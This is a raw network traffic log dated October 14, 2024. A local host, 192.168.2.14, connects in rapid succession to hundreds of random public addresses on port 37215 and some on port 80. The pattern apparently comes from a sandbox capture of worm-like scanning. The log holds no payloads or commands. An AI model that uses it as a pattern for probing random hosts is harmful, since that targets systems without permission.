Oct 14, 2024 17:34:18.193376064 CEST	29625	37215	192.168.2.14	156.162.226.178
Oct 14, 2024 17:34:18.193387985 CEST	29625	37215	192.168.2.14	41.243.24.193
Oct 14, 2024 17:34:18.193388939 CEST	29625	37215	192.168.2.14	156.49.111.124
Oct 14, 2024 17:34:18.193388939 CEST	29625	37215	192.168.2.14	41.170.131.149
Oct 14, 2024 17:34:18.193394899 CEST	29625	37215	192.168.2.14	197.177.183.234
Oct 14, 2024 17:34:18.193408966 CEST	29625	37215	192.168.2.14	197.101.168.193
Oct 14, 2024 17:34:18.193411112 CEST	29625	37215	192.168.2.14	41.143.115.236
Oct 14, 2024 17:34:18.193430901 CEST	29625	37215	192.168.2.14	41.0.227.208
Oct 14, 2024 17:34:18.193434954 CEST	29625	37215	192.168.2.14	156.217.120.64
Oct 14, 2024 17:34:18.193450928 CEST	29625	37215	192.168.2.14	197.27.116.35
Oct 14, 2024 17:34:18.193451881 CEST	29625	37215	192.168.2.14	156.45.88.153
Oct 14, 2024 17:34:18.193451881 CEST	29625	37215	192.168.2.14	156.31.101.58
Oct 14, 2024 17:34:18.193471909 CEST	29625	37215	192.168.2.14	197.16.253.55
Oct 14, 2024 17:34:18.193474054 CEST	29625	37215	192.168.2.14	156.57.50.142
Oct 14, 2024 17:34:18.193478107 CEST	29625	37215	192.168.2.14	41.215.184.32
Oct 14, 2024 17:34:18.193491936 CEST	29625	37215	192.168.2.14	41.65.230.224
Oct 14, 2024 17:34:18.193495989 CEST	29625	37215	192.168.2.14	41.87.90.7
Oct 14, 2024 17:34:18.193495989 CEST	29625	37215	192.168.2.14	197.16.204.18
Oct 14, 2024 17:34:18.193495989 CEST	29625	37215	192.168.2.14	156.70.106.199
Oct 14, 2024 17:34:18.193497896 CEST	29625	37215	192.168.2.14	41.129.40.236
Oct 14, 2024 17:34:18.193502903 CEST	29625	37215	192.168.2.14	41.135.241.31
Oct 14, 2024 17:34:18.193506002 CEST	29625	37215	192.168.2.14	41.210.217.39
Oct 14, 2024 17:34:18.193507910 CEST	29625	37215	192.168.2.14	197.254.54.226
Oct 14, 2024 17:34:18.193516970 CEST	29625	37215	192.168.2.14	197.250.250.199
Oct 14, 2024 17:34:18.193527937 CEST	29625	37215	192.168.2.14	41.175.123.135
Oct 14, 2024 17:34:18.193527937 CEST	29625	37215	192.168.2.14	156.200.177.67
Oct 14, 2024 17:34:18.193538904 CEST	29625	37215	192.168.2.14	41.155.64.121
Oct 14, 2024 17:34:18.193556070 CEST	29625	37215	192.168.2.14	41.126.65.66
Oct 14, 2024 17:34:18.193558931 CEST	29625	37215	192.168.2.14	156.184.154.158
Oct 14, 2024 17:34:18.193558931 CEST	29625	37215	192.168.2.14	156.223.104.150
Oct 14, 2024 17:34:18.193558931 CEST	29625	37215	192.168.2.14	41.34.96.54
Oct 14, 2024 17:34:18.193578959 CEST	29625	37215	192.168.2.14	197.86.40.102
Oct 14, 2024 17:34:18.193578959 CEST	29625	37215	192.168.2.14	41.66.206.153
Oct 14, 2024 17:34:18.193593979 CEST	29625	37215	192.168.2.14	197.17.109.183
Oct 14, 2024 17:34:18.193598032 CEST	29625	37215	192.168.2.14	197.187.33.216
Oct 14, 2024 17:34:18.193599939 CEST	29625	37215	192.168.2.14	41.29.171.135
Oct 14, 2024 17:34:18.193599939 CEST	29625	37215	192.168.2.14	156.76.166.90
Oct 14, 2024 17:34:18.193599939 CEST	29625	37215	192.168.2.14	41.42.116.192
Oct 14, 2024 17:34:18.193599939 CEST	29625	37215	192.168.2.14	41.16.179.200
Oct 14, 2024 17:34:18.193602085 CEST	29625	37215	192.168.2.14	41.98.248.196
Oct 14, 2024 17:34:18.193603039 CEST	29625	37215	192.168.2.14	41.55.232.61
Oct 14, 2024 17:34:18.193603039 CEST	29625	37215	192.168.2.14	41.87.176.153
Oct 14, 2024 17:34:18.193612099 CEST	29625	37215	192.168.2.14	156.240.152.92
Oct 14, 2024 17:34:18.193612099 CEST	29625	37215	192.168.2.14	41.231.221.91
Oct 14, 2024 17:34:18.193615913 CEST	29625	37215	192.168.2.14	41.204.148.71
Oct 14, 2024 17:34:18.193629980 CEST	29625	37215	192.168.2.14	197.59.173.227
Oct 14, 2024 17:34:18.193639994 CEST	29625	37215	192.168.2.14	41.198.198.163
Oct 14, 2024 17:34:18.193645000 CEST	29625	37215	192.168.2.14	156.108.247.33
Oct 14, 2024 17:34:18.193649054 CEST	29625	37215	192.168.2.14	41.109.181.134
Oct 14, 2024 17:34:18.193659067 CEST	29625	37215	192.168.2.14	197.5.88.193
Oct 14, 2024 17:34:18.193659067 CEST	29625	37215	192.168.2.14	41.192.160.232
Oct 14, 2024 17:34:18.193660975 CEST	29625	37215	192.168.2.14	156.54.134.100
Oct 14, 2024 17:34:18.193670034 CEST	29625	37215	192.168.2.14	156.144.199.93
Oct 14, 2024 17:34:18.193679094 CEST	29625	37215	192.168.2.14	156.103.223.151
Oct 14, 2024 17:34:18.193681002 CEST	29625	37215	192.168.2.14	156.244.240.35
Oct 14, 2024 17:34:18.193686008 CEST	29625	37215	192.168.2.14	156.78.122.90
Oct 14, 2024 17:34:18.193689108 CEST	29625	37215	192.168.2.14	41.239.36.11
Oct 14, 2024 17:34:18.193705082 CEST	29625	37215	192.168.2.14	197.231.114.53
Oct 14, 2024 17:34:18.193706989 CEST	29625	37215	192.168.2.14	197.254.87.184
Oct 14, 2024 17:34:18.193713903 CEST	29625	37215	192.168.2.14	156.205.85.126
Oct 14, 2024 17:34:18.193717957 CEST	29625	37215	192.168.2.14	156.159.227.204
Oct 14, 2024 17:34:18.193727016 CEST	29625	37215	192.168.2.14	156.183.46.19
Oct 14, 2024 17:34:18.193728924 CEST	29625	37215	192.168.2.14	197.11.7.65
Oct 14, 2024 17:34:18.193732023 CEST	29625	37215	192.168.2.14	156.152.242.105
Oct 14, 2024 17:34:18.193734884 CEST	29625	37215	192.168.2.14	197.4.247.202
Oct 14, 2024 17:34:18.193746090 CEST	29625	37215	192.168.2.14	197.42.237.99
Oct 14, 2024 17:34:18.193753958 CEST	29625	37215	192.168.2.14	41.184.35.89
Oct 14, 2024 17:34:18.193758965 CEST	29625	37215	192.168.2.14	156.150.66.70
Oct 14, 2024 17:34:18.193775892 CEST	29625	37215	192.168.2.14	156.124.143.23
Oct 14, 2024 17:34:18.193775892 CEST	29625	37215	192.168.2.14	41.35.96.128
Oct 14, 2024 17:34:18.193777084 CEST	29625	37215	192.168.2.14	156.44.87.55
Oct 14, 2024 17:34:18.193778992 CEST	29625	37215	192.168.2.14	156.74.193.47
Oct 14, 2024 17:34:18.193778992 CEST	29625	37215	192.168.2.14	41.1.199.32
Oct 14, 2024 17:34:18.193780899 CEST	29625	37215	192.168.2.14	156.193.55.99
Oct 14, 2024 17:34:18.193795919 CEST	29625	37215	192.168.2.14	41.11.84.159
Oct 14, 2024 17:34:18.193799973 CEST	29625	37215	192.168.2.14	197.214.76.28
Oct 14, 2024 17:34:18.193814039 CEST	29625	37215	192.168.2.14	197.64.68.233
Oct 14, 2024 17:34:18.193829060 CEST	29625	37215	192.168.2.14	41.207.144.201
Oct 14, 2024 17:34:18.193830013 CEST	29625	37215	192.168.2.14	41.166.97.18
Oct 14, 2024 17:34:18.193830013 CEST	29625	37215	192.168.2.14	197.8.56.217
Oct 14, 2024 17:34:18.193831921 CEST	29625	37215	192.168.2.14	197.99.159.193
Oct 14, 2024 17:34:18.193831921 CEST	29625	37215	192.168.2.14	197.25.9.30
Oct 14, 2024 17:34:18.193836927 CEST	29625	37215	192.168.2.14	156.178.255.70
Oct 14, 2024 17:34:18.193839073 CEST	29625	37215	192.168.2.14	156.200.79.187
Oct 14, 2024 17:34:18.193850994 CEST	29625	37215	192.168.2.14	197.95.144.3
Oct 14, 2024 17:34:18.193852901 CEST	29625	37215	192.168.2.14	156.11.167.77
Oct 14, 2024 17:34:18.193864107 CEST	29625	37215	192.168.2.14	41.113.12.19
Oct 14, 2024 17:34:18.193886995 CEST	29625	37215	192.168.2.14	197.14.75.66
Oct 14, 2024 17:34:18.193887949 CEST	29625	37215	192.168.2.14	156.187.85.231
Oct 14, 2024 17:34:18.193886995 CEST	29625	37215	192.168.2.14	197.233.122.250
Oct 14, 2024 17:34:18.193890095 CEST	29625	37215	192.168.2.14	197.46.238.78
Oct 14, 2024 17:34:18.193886995 CEST	29625	37215	192.168.2.14	197.184.84.239
Oct 14, 2024 17:34:18.193887949 CEST	29625	37215	192.168.2.14	156.221.186.186
Oct 14, 2024 17:34:18.193886995 CEST	29625	37215	192.168.2.14	156.143.151.42
Oct 14, 2024 17:34:18.193902016 CEST	29625	37215	192.168.2.14	41.95.133.84
Oct 14, 2024 17:34:18.193905115 CEST	29625	37215	192.168.2.14	156.248.186.35
Oct 14, 2024 17:34:18.193921089 CEST	29625	37215	192.168.2.14	156.63.182.40
Oct 14, 2024 17:34:18.193921089 CEST	29625	37215	192.168.2.14	156.236.49.71
Oct 14, 2024 17:34:18.193931103 CEST	29625	37215	192.168.2.14	41.203.48.150
Oct 14, 2024 17:34:18.193937063 CEST	29625	37215	192.168.2.14	197.155.100.184
Oct 14, 2024 17:34:18.193943977 CEST	29625	37215	192.168.2.14	41.253.52.241
Oct 14, 2024 17:34:18.193948984 CEST	29625	37215	192.168.2.14	197.199.73.181
Oct 14, 2024 17:34:18.193950891 CEST	29625	37215	192.168.2.14	197.131.101.178
Oct 14, 2024 17:34:18.193954945 CEST	29625	37215	192.168.2.14	41.151.115.106
Oct 14, 2024 17:34:18.193958998 CEST	29625	37215	192.168.2.14	41.59.220.211
Oct 14, 2024 17:34:18.193964005 CEST	29625	37215	192.168.2.14	197.9.51.195
Oct 14, 2024 17:34:18.193980932 CEST	29625	37215	192.168.2.14	156.104.250.143
Oct 14, 2024 17:34:18.193980932 CEST	29625	37215	192.168.2.14	197.3.96.119
Oct 14, 2024 17:34:18.193983078 CEST	29625	37215	192.168.2.14	41.161.147.75
Oct 14, 2024 17:34:18.193995953 CEST	29625	37215	192.168.2.14	197.242.29.101
Oct 14, 2024 17:34:18.193999052 CEST	29625	37215	192.168.2.14	197.147.226.206
Oct 14, 2024 17:34:18.194005013 CEST	29625	37215	192.168.2.14	197.16.162.196
Oct 14, 2024 17:34:18.194006920 CEST	29625	37215	192.168.2.14	41.202.237.7
Oct 14, 2024 17:34:18.194015980 CEST	29625	37215	192.168.2.14	156.77.2.220
Oct 14, 2024 17:34:18.194019079 CEST	29625	37215	192.168.2.14	41.60.134.100
Oct 14, 2024 17:34:18.194030046 CEST	29625	37215	192.168.2.14	197.164.124.185
Oct 14, 2024 17:34:18.194030046 CEST	29625	37215	192.168.2.14	41.130.217.28
Oct 14, 2024 17:34:18.194030046 CEST	29625	37215	192.168.2.14	197.22.13.19
Oct 14, 2024 17:34:18.194037914 CEST	29625	37215	192.168.2.14	41.7.96.202
Oct 14, 2024 17:34:18.194037914 CEST	29625	37215	192.168.2.14	156.137.76.6
Oct 14, 2024 17:34:18.194051981 CEST	29625	37215	192.168.2.14	197.75.83.187
Oct 14, 2024 17:34:18.194053888 CEST	29625	37215	192.168.2.14	197.71.14.233
Oct 14, 2024 17:34:18.194063902 CEST	29625	37215	192.168.2.14	41.83.110.54
Oct 14, 2024 17:34:18.194080114 CEST	29625	37215	192.168.2.14	41.33.190.229
Oct 14, 2024 17:34:18.194080114 CEST	29625	37215	192.168.2.14	197.81.27.114
Oct 14, 2024 17:34:18.194084883 CEST	29625	37215	192.168.2.14	156.94.11.149
Oct 14, 2024 17:34:18.194092989 CEST	29625	37215	192.168.2.14	197.165.165.5
Oct 14, 2024 17:34:18.194097042 CEST	29625	37215	192.168.2.14	41.99.195.63
Oct 14, 2024 17:34:18.194097042 CEST	29625	37215	192.168.2.14	41.146.122.134
Oct 14, 2024 17:34:18.194101095 CEST	29625	37215	192.168.2.14	41.70.178.96
Oct 14, 2024 17:34:18.194101095 CEST	29625	37215	192.168.2.14	41.192.42.50
Oct 14, 2024 17:34:18.194103956 CEST	29625	37215	192.168.2.14	197.96.76.201
Oct 14, 2024 17:34:18.194109917 CEST	29625	37215	192.168.2.14	197.239.109.4
Oct 14, 2024 17:34:18.194114923 CEST	29625	37215	192.168.2.14	156.109.111.115
Oct 14, 2024 17:34:18.194119930 CEST	29625	37215	192.168.2.14	197.108.161.188
Oct 14, 2024 17:34:18.194124937 CEST	29625	37215	192.168.2.14	156.222.135.244
Oct 14, 2024 17:34:18.194133043 CEST	29625	37215	192.168.2.14	41.203.229.70
Oct 14, 2024 17:34:18.194139957 CEST	29625	37215	192.168.2.14	197.108.170.149
Oct 14, 2024 17:34:18.194147110 CEST	29625	37215	192.168.2.14	156.180.141.176
Oct 14, 2024 17:34:18.194153070 CEST	29625	37215	192.168.2.14	156.182.199.33
Oct 14, 2024 17:34:18.194158077 CEST	29625	37215	192.168.2.14	41.193.118.29
Oct 14, 2024 17:34:18.194169998 CEST	29625	37215	192.168.2.14	197.205.32.182
Oct 14, 2024 17:34:18.194179058 CEST	29625	37215	192.168.2.14	156.120.254.46
Oct 14, 2024 17:34:18.194179058 CEST	29625	37215	192.168.2.14	156.202.55.151
Oct 14, 2024 17:34:18.194181919 CEST	29625	37215	192.168.2.14	197.51.178.235
Oct 14, 2024 17:34:18.194181919 CEST	29625	37215	192.168.2.14	197.57.189.220
Oct 14, 2024 17:34:18.194185972 CEST	29625	37215	192.168.2.14	41.8.112.232
Oct 14, 2024 17:34:18.194197893 CEST	29625	37215	192.168.2.14	197.118.212.46
Oct 14, 2024 17:34:18.194200039 CEST	29625	37215	192.168.2.14	197.127.146.63
Oct 14, 2024 17:34:18.194204092 CEST	29625	37215	192.168.2.14	41.14.155.209
Oct 14, 2024 17:34:18.194214106 CEST	29625	37215	192.168.2.14	156.186.150.59
Oct 14, 2024 17:34:18.194219112 CEST	29625	37215	192.168.2.14	156.63.98.179
Oct 14, 2024 17:34:18.194226027 CEST	29625	37215	192.168.2.14	156.137.191.53
Oct 14, 2024 17:34:18.194232941 CEST	29625	37215	192.168.2.14	156.67.42.144
Oct 14, 2024 17:34:18.194232941 CEST	29625	37215	192.168.2.14	197.148.119.130
Oct 14, 2024 17:34:18.194240093 CEST	29625	37215	192.168.2.14	197.24.110.50
Oct 14, 2024 17:34:18.194240093 CEST	29625	37215	192.168.2.14	197.165.107.234
Oct 14, 2024 17:34:18.194246054 CEST	29625	37215	192.168.2.14	197.35.127.44
Oct 14, 2024 17:34:18.194250107 CEST	29625	37215	192.168.2.14	41.117.229.45
Oct 14, 2024 17:34:18.194261074 CEST	29625	37215	192.168.2.14	41.135.217.125
Oct 14, 2024 17:34:18.194272995 CEST	29625	37215	192.168.2.14	156.119.195.230
Oct 14, 2024 17:34:18.194272995 CEST	29625	37215	192.168.2.14	156.234.229.80
Oct 14, 2024 17:34:18.194274902 CEST	29625	37215	192.168.2.14	197.196.25.61
Oct 14, 2024 17:34:18.194277048 CEST	29625	37215	192.168.2.14	197.15.24.65
Oct 14, 2024 17:34:18.194284916 CEST	29625	37215	192.168.2.14	156.252.130.119
Oct 14, 2024 17:34:18.194288015 CEST	29625	37215	192.168.2.14	41.33.228.65
Oct 14, 2024 17:34:18.194305897 CEST	29625	37215	192.168.2.14	41.158.33.254
Oct 14, 2024 17:34:18.194309950 CEST	29625	37215	192.168.2.14	41.129.56.220
Oct 14, 2024 17:34:18.194309950 CEST	29625	37215	192.168.2.14	156.88.68.225
Oct 14, 2024 17:34:18.194322109 CEST	29625	37215	192.168.2.14	41.26.77.149
Oct 14, 2024 17:34:18.194324970 CEST	29625	37215	192.168.2.14	156.242.75.68
Oct 14, 2024 17:34:18.194330931 CEST	29625	37215	192.168.2.14	156.222.34.221
Oct 14, 2024 17:34:18.194338083 CEST	29625	37215	192.168.2.14	156.141.91.93
Oct 14, 2024 17:34:18.194343090 CEST	29625	37215	192.168.2.14	41.113.195.254
Oct 14, 2024 17:34:18.194346905 CEST	29625	37215	192.168.2.14	197.251.169.36
Oct 14, 2024 17:34:18.194358110 CEST	29625	37215	192.168.2.14	197.231.94.137
Oct 14, 2024 17:34:18.194361925 CEST	29625	37215	192.168.2.14	156.35.193.63
Oct 14, 2024 17:34:18.194370985 CEST	29625	37215	192.168.2.14	156.84.132.159
Oct 14, 2024 17:34:18.194372892 CEST	29625	37215	192.168.2.14	197.82.254.43
Oct 14, 2024 17:34:18.194372892 CEST	29625	37215	192.168.2.14	41.90.95.237
Oct 14, 2024 17:34:18.194384098 CEST	29625	37215	192.168.2.14	156.175.231.121
Oct 14, 2024 17:34:18.194385052 CEST	29625	37215	192.168.2.14	156.205.98.214
Oct 14, 2024 17:34:18.194389105 CEST	29625	37215	192.168.2.14	156.215.98.43
Oct 14, 2024 17:34:18.194391012 CEST	29625	37215	192.168.2.14	156.154.217.249
Oct 14, 2024 17:34:18.194396019 CEST	29625	37215	192.168.2.14	156.87.226.133
Oct 14, 2024 17:34:18.194401979 CEST	29625	37215	192.168.2.14	197.40.245.97
Oct 14, 2024 17:34:18.194411993 CEST	29625	37215	192.168.2.14	156.76.255.88
Oct 14, 2024 17:34:18.194413900 CEST	29625	37215	192.168.2.14	156.33.90.146
Oct 14, 2024 17:34:18.194418907 CEST	29625	37215	192.168.2.14	197.203.77.120
Oct 14, 2024 17:34:18.194437027 CEST	29625	37215	192.168.2.14	41.80.222.171
Oct 14, 2024 17:34:18.194437981 CEST	29625	37215	192.168.2.14	156.130.67.96
Oct 14, 2024 17:34:18.194443941 CEST	29625	37215	192.168.2.14	156.218.103.121
Oct 14, 2024 17:34:18.194443941 CEST	29625	37215	192.168.2.14	197.6.155.45
Oct 14, 2024 17:34:18.194447041 CEST	29625	37215	192.168.2.14	41.219.26.50
Oct 14, 2024 17:34:18.194453001 CEST	29625	37215	192.168.2.14	41.48.214.19
Oct 14, 2024 17:34:18.194457054 CEST	29625	37215	192.168.2.14	41.233.60.201
Oct 14, 2024 17:34:18.194462061 CEST	29625	37215	192.168.2.14	156.170.167.120
Oct 14, 2024 17:34:18.194473028 CEST	29625	37215	192.168.2.14	197.142.87.132
Oct 14, 2024 17:34:18.194477081 CEST	29625	37215	192.168.2.14	197.45.134.37
Oct 14, 2024 17:34:18.194482088 CEST	29625	37215	192.168.2.14	156.53.24.138
Oct 14, 2024 17:34:18.194494009 CEST	29625	37215	192.168.2.14	41.23.48.105
Oct 14, 2024 17:34:18.194494963 CEST	29625	37215	192.168.2.14	156.63.212.187
Oct 14, 2024 17:34:18.194503069 CEST	29625	37215	192.168.2.14	41.252.8.77
Oct 14, 2024 17:34:18.194515944 CEST	29625	37215	192.168.2.14	156.245.2.15
Oct 14, 2024 17:34:18.194519043 CEST	29625	37215	192.168.2.14	197.21.229.174
Oct 14, 2024 17:34:18.194520950 CEST	29625	37215	192.168.2.14	156.247.204.206
Oct 14, 2024 17:34:18.194525957 CEST	29625	37215	192.168.2.14	41.147.189.107
Oct 14, 2024 17:34:18.194538116 CEST	29625	37215	192.168.2.14	41.166.44.207
Oct 14, 2024 17:34:18.194540024 CEST	29625	37215	192.168.2.14	197.103.155.66
Oct 14, 2024 17:34:18.194730997 CEST	44544	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:18.194730997 CEST	44544	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:18.195326090 CEST	44800	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:18.197794914 CEST	37215	29625	156.94.110.243	192.168.2.14
Oct 14, 2024 17:34:18.197818041 CEST	37215	29625	197.187.213.39	192.168.2.14
Oct 14, 2024 17:34:18.197828054 CEST	37215	29625	41.86.250.94	192.168.2.14
Oct 14, 2024 17:34:18.197838068 CEST	37215	29625	156.19.5.207	192.168.2.14
Oct 14, 2024 17:34:18.197841883 CEST	29625	37215	192.168.2.14	156.94.110.243
Oct 14, 2024 17:34:18.197848082 CEST	37215	29625	156.167.26.48	192.168.2.14
Oct 14, 2024 17:34:18.197860956 CEST	29625	37215	192.168.2.14	41.86.250.94
Oct 14, 2024 17:34:18.197864056 CEST	29625	37215	192.168.2.14	197.187.213.39
Oct 14, 2024 17:34:18.197870970 CEST	37215	29625	156.7.214.17	192.168.2.14
Oct 14, 2024 17:34:18.197875023 CEST	29625	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.197881937 CEST	37215	29625	156.181.17.206	192.168.2.14
Oct 14, 2024 17:34:18.197885036 CEST	29625	37215	192.168.2.14	156.167.26.48
Oct 14, 2024 17:34:18.197894096 CEST	37215	29625	41.69.100.176	192.168.2.14
Oct 14, 2024 17:34:18.197904110 CEST	37215	29625	41.142.82.90	192.168.2.14
Oct 14, 2024 17:34:18.197905064 CEST	29625	37215	192.168.2.14	156.7.214.17
Oct 14, 2024 17:34:18.197911978 CEST	29625	37215	192.168.2.14	156.181.17.206
Oct 14, 2024 17:34:18.197912931 CEST	37215	29625	156.179.121.98	192.168.2.14
Oct 14, 2024 17:34:18.197926044 CEST	37215	29625	41.195.44.60	192.168.2.14
Oct 14, 2024 17:34:18.197928905 CEST	29625	37215	192.168.2.14	41.69.100.176
Oct 14, 2024 17:34:18.197956085 CEST	29625	37215	192.168.2.14	156.179.121.98
Oct 14, 2024 17:34:18.197962999 CEST	29625	37215	192.168.2.14	41.142.82.90
Oct 14, 2024 17:34:18.198030949 CEST	29625	37215	192.168.2.14	41.195.44.60
Oct 14, 2024 17:34:18.198447943 CEST	37215	29625	156.202.245.237	192.168.2.14
Oct 14, 2024 17:34:18.198457956 CEST	37215	29625	156.30.236.4	192.168.2.14
Oct 14, 2024 17:34:18.198467970 CEST	37215	29625	197.236.232.219	192.168.2.14
Oct 14, 2024 17:34:18.198477030 CEST	37215	29625	197.209.30.215	192.168.2.14
Oct 14, 2024 17:34:18.198487997 CEST	29625	37215	192.168.2.14	156.30.236.4
Oct 14, 2024 17:34:18.198487997 CEST	29625	37215	192.168.2.14	156.202.245.237
Oct 14, 2024 17:34:18.198497057 CEST	29625	37215	192.168.2.14	197.236.232.219
Oct 14, 2024 17:34:18.198503971 CEST	37215	29625	197.253.92.122	192.168.2.14
Oct 14, 2024 17:34:18.198513985 CEST	37215	29625	197.191.9.242	192.168.2.14
Oct 14, 2024 17:34:18.198525906 CEST	37215	29625	197.34.107.191	192.168.2.14
Oct 14, 2024 17:34:18.198535919 CEST	37215	29625	41.82.63.63	192.168.2.14
Oct 14, 2024 17:34:18.198544025 CEST	29625	37215	192.168.2.14	197.209.30.215
Oct 14, 2024 17:34:18.198544025 CEST	29625	37215	192.168.2.14	197.253.92.122
Oct 14, 2024 17:34:18.198544979 CEST	29625	37215	192.168.2.14	197.191.9.242
Oct 14, 2024 17:34:18.198559046 CEST	37215	29625	197.3.228.241	192.168.2.14
Oct 14, 2024 17:34:18.198565960 CEST	29625	37215	192.168.2.14	41.82.63.63
Oct 14, 2024 17:34:18.198570967 CEST	37215	29625	156.32.170.157	192.168.2.14
Oct 14, 2024 17:34:18.198585987 CEST	29625	37215	192.168.2.14	197.34.107.191
Oct 14, 2024 17:34:18.198595047 CEST	37215	29625	197.50.10.101	192.168.2.14
Oct 14, 2024 17:34:18.198604107 CEST	37215	29625	156.136.171.234	192.168.2.14
Oct 14, 2024 17:34:18.198609114 CEST	29625	37215	192.168.2.14	156.32.170.157
Oct 14, 2024 17:34:18.198613882 CEST	37215	29625	197.73.128.72	192.168.2.14
Oct 14, 2024 17:34:18.198621035 CEST	29625	37215	192.168.2.14	197.50.10.101
Oct 14, 2024 17:34:18.198647022 CEST	29625	37215	192.168.2.14	197.73.128.72
Oct 14, 2024 17:34:18.198652983 CEST	29625	37215	192.168.2.14	197.3.228.241
Oct 14, 2024 17:34:18.198652983 CEST	29625	37215	192.168.2.14	156.136.171.234
Oct 14, 2024 17:34:18.199033976 CEST	37215	29625	197.156.124.4	192.168.2.14
Oct 14, 2024 17:34:18.199047089 CEST	37215	29625	156.38.51.21	192.168.2.14
Oct 14, 2024 17:34:18.199057102 CEST	37215	29625	156.11.3.32	192.168.2.14
Oct 14, 2024 17:34:18.199065924 CEST	37215	29625	156.43.206.42	192.168.2.14
Oct 14, 2024 17:34:18.199075937 CEST	37215	29625	156.169.50.92	192.168.2.14
Oct 14, 2024 17:34:18.199085951 CEST	37215	29625	197.243.95.105	192.168.2.14
Oct 14, 2024 17:34:18.199095964 CEST	29625	37215	192.168.2.14	156.38.51.21
Oct 14, 2024 17:34:18.199095964 CEST	29625	37215	192.168.2.14	197.156.124.4
Oct 14, 2024 17:34:18.199095964 CEST	29625	37215	192.168.2.14	156.11.3.32
Oct 14, 2024 17:34:18.199100971 CEST	29625	37215	192.168.2.14	156.43.206.42
Oct 14, 2024 17:34:18.199106932 CEST	37215	29625	41.218.135.142	192.168.2.14
Oct 14, 2024 17:34:18.199110031 CEST	29625	37215	192.168.2.14	156.169.50.92
Oct 14, 2024 17:34:18.199114084 CEST	29625	37215	192.168.2.14	197.243.95.105
Oct 14, 2024 17:34:18.199119091 CEST	37215	29625	41.67.31.225	192.168.2.14
Oct 14, 2024 17:34:18.199130058 CEST	37215	29625	197.92.19.86	192.168.2.14
Oct 14, 2024 17:34:18.199139118 CEST	37215	29625	156.118.11.61	192.168.2.14
Oct 14, 2024 17:34:18.199141979 CEST	29625	37215	192.168.2.14	41.218.135.142
Oct 14, 2024 17:34:18.199150085 CEST	37215	29625	156.116.2.221	192.168.2.14
Oct 14, 2024 17:34:18.199150085 CEST	29625	37215	192.168.2.14	41.67.31.225
Oct 14, 2024 17:34:18.199162960 CEST	37215	29625	197.21.219.153	192.168.2.14
Oct 14, 2024 17:34:18.199162006 CEST	29625	37215	192.168.2.14	197.92.19.86
Oct 14, 2024 17:34:18.199168921 CEST	29625	37215	192.168.2.14	156.118.11.61
Oct 14, 2024 17:34:18.199173927 CEST	37215	29625	197.22.85.41	192.168.2.14
Oct 14, 2024 17:34:18.199184895 CEST	37215	29625	197.121.200.150	192.168.2.14
Oct 14, 2024 17:34:18.199194908 CEST	37215	29625	197.212.109.47	192.168.2.14
Oct 14, 2024 17:34:18.199194908 CEST	29625	37215	192.168.2.14	197.21.219.153
Oct 14, 2024 17:34:18.199204922 CEST	37215	29625	197.46.40.254	192.168.2.14
Oct 14, 2024 17:34:18.199214935 CEST	29625	37215	192.168.2.14	197.121.200.150
Oct 14, 2024 17:34:18.199223995 CEST	29625	37215	192.168.2.14	197.212.109.47
Oct 14, 2024 17:34:18.199228048 CEST	37215	29625	156.42.6.193	192.168.2.14
Oct 14, 2024 17:34:18.199239016 CEST	29625	37215	192.168.2.14	197.46.40.254
Oct 14, 2024 17:34:18.199265957 CEST	29625	37215	192.168.2.14	156.42.6.193
Oct 14, 2024 17:34:18.199271917 CEST	29625	37215	192.168.2.14	156.116.2.221
Oct 14, 2024 17:34:18.199271917 CEST	29625	37215	192.168.2.14	197.22.85.41
Oct 14, 2024 17:34:18.199587107 CEST	37215	44544	197.32.90.183	192.168.2.14
Oct 14, 2024 17:34:18.219403028 CEST	45762	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:18.219435930 CEST	34346	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:18.219435930 CEST	45246	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:18.219436884 CEST	46150	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:18.219436884 CEST	54176	80	192.168.2.14	150.128.177.165
Oct 14, 2024 17:34:18.219436884 CEST	35768	37215	192.168.2.14	41.125.165.215
Oct 14, 2024 17:34:18.219444990 CEST	40424	80	192.168.2.14	134.100.150.105
Oct 14, 2024 17:34:18.219444990 CEST	47386	80	192.168.2.14	147.45.136.124
Oct 14, 2024 17:34:18.219446898 CEST	40510	80	192.168.2.14	108.81.130.89
Oct 14, 2024 17:34:18.219501972 CEST	35226	80	192.168.2.14	180.26.206.254
Oct 14, 2024 17:34:18.219501972 CEST	34820	80	192.168.2.14	208.30.70.127
Oct 14, 2024 17:34:18.224368095 CEST	80	45762	79.42.6.55	192.168.2.14
Oct 14, 2024 17:34:18.224397898 CEST	80	34346	8.160.109.226	192.168.2.14
Oct 14, 2024 17:34:18.224406958 CEST	80	45246	130.143.3.66	192.168.2.14
Oct 14, 2024 17:34:18.224509954 CEST	45762	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:18.224528074 CEST	45246	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:18.224529982 CEST	34346	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:18.224529982 CEST	34346	80	192.168.2.14	8.160.109.226
Oct 14, 2024 17:34:18.224528074 CEST	29626	80	192.168.2.14	183.142.1.66
Oct 14, 2024 17:34:18.224529982 CEST	29626	80	192.168.2.14	57.39.47.236
Oct 14, 2024 17:34:18.224529982 CEST	29626	80	192.168.2.14	197.248.43.204
Oct 14, 2024 17:34:18.224533081 CEST	29626	80	192.168.2.14	128.189.180.88
Oct 14, 2024 17:34:18.224533081 CEST	29626	80	192.168.2.14	122.59.59.80
Oct 14, 2024 17:34:18.224540949 CEST	29626	80	192.168.2.14	141.175.70.148
Oct 14, 2024 17:34:18.224540949 CEST	29626	80	192.168.2.14	184.82.216.30
Oct 14, 2024 17:34:18.224544048 CEST	29626	80	192.168.2.14	117.47.37.85
Oct 14, 2024 17:34:18.224551916 CEST	29626	80	192.168.2.14	9.19.92.69
Oct 14, 2024 17:34:18.224551916 CEST	29626	80	192.168.2.14	39.218.155.185
Oct 14, 2024 17:34:18.224544048 CEST	29626	80	192.168.2.14	71.11.214.55
Oct 14, 2024 17:34:18.224558115 CEST	29626	80	192.168.2.14	167.193.101.101
Oct 14, 2024 17:34:18.224561930 CEST	29626	80	192.168.2.14	180.59.247.202
